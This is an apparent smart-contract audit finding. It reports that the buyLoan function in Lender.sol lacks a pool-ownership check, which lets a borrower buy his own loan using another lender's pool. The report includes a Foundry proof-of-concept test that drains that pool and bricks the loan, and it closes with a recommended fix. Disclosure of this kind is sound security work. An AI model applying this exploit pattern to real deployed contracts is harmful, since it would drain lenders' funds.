20,000 USDC
View results
Submission Details
Severity: high
Valid

Lender.sol#buyLoan() - A user can buy his own loan and use another user's pool to do so, effectively bricking the loan and draining the other user's pool balance in the process.

Summary

A user can buy his own loan and use another user's pool to do so, effectively bricking the loan and draining the other user's pool balance in the process.

Vulnerability Details

Loans can be bought during an auction with the buyLoan function. The comments above the function state that anyone can buy a loan, but they must have a pool to do so. This isn't the case as there is no check inside the function that checks if the poolId points to a pool msg.sender owns.
Because of the missing check the following scenario can occur:

Lender1 creates a pool and for simplicity sake he trades his loanToken to collateralToken for a 1:1 ratio.
Borrower (malicious) borrows the entire poolBalance of Lender1's pool.
Lender2 creates a pool that uses the same loanToken and collateralToken as Lender1's pool.
Time passes and Lender1 puts up Borrower's pool up for auction.
Borrower buys his own loan and uses Lender2's pool as the new owner of his loan.
At this point the loan information is as follow:
loan.lender - Borrower
loan.loanToken - Lender2' loan token
loan.collateralToken - Lender2's collateral token
Even if someone attempts to repay Borrower's loan, he can't, because the poolId is generated from the above variables and no such pool exists, effectively bricking the loan and costing Lender2's entire poolBalance.

POC

// This is a small helper function in Lender.sol that we will use to get a pool's information inside our tests
function getPool(
bytes32 poolId
) public returns (Pool memory pool) {
pool = pools[poolId];
}
// Unit test
function testBorrowerCanBuyHisOwnLoanUsingAnotherLendersPool() public {
// Lender1 creates a lending pool
// For simplicity sake the maxLoanRatio has been set to 1:1
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 1*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
// The borrower borrows the entire pool balance
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 1000*10**18,
collateral: 1000*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
// The loan acrues interest
vm.warp(block.timestamp + 364 days + 12 hours);
// Lender1 kicks off an auction so he can get his accumulated interest and refill his pool balance.
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
// Lender2 creates a pool with the same loan and collateral tokens as Lender1
vm.prank(lender2);
Pool memory p2 = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1100*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId2 = lender.setPool(p2);
// Warp to middle of the auction
vm.warp(block.timestamp + 12 hours);
uint256 beforeLoanBought = lender.getPool(poolId2).poolBalance;
assertEq(beforeLoanBought, 1100*10**18);
// The Borrower buys his own loan and he specifies Lender2's pool
vm.startPrank(borrower);
lender.buyLoan(0, poolId2);
vm.stopPrank();
uint256 afterLoanBought = lender.getPool(poolId2).poolBalance;
assertEq(afterLoanBought, 0);
// Even the Borrower himself can't repay the loan.
vm.expectRevert();
vm.prank(borrower);
lender.repay(loanIds);
}

Impact

Loss of funds for lenders and bricking of loans.

Tools Used

Manual review
Foundry

Recommendations

Add a check inside buyLoan which checks if the poolId that has been passed is actually a pool owner by msg.sender.

function buyLoan(uint256 loanId, bytes32 poolId) public {
// get the loan info
Loan memory loan = loans[loanId];
// Check if msg.sender is the lender of the specified pool
if (pools[poolId].lender != msg.sender) {
revert Unauthorized();
}
...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!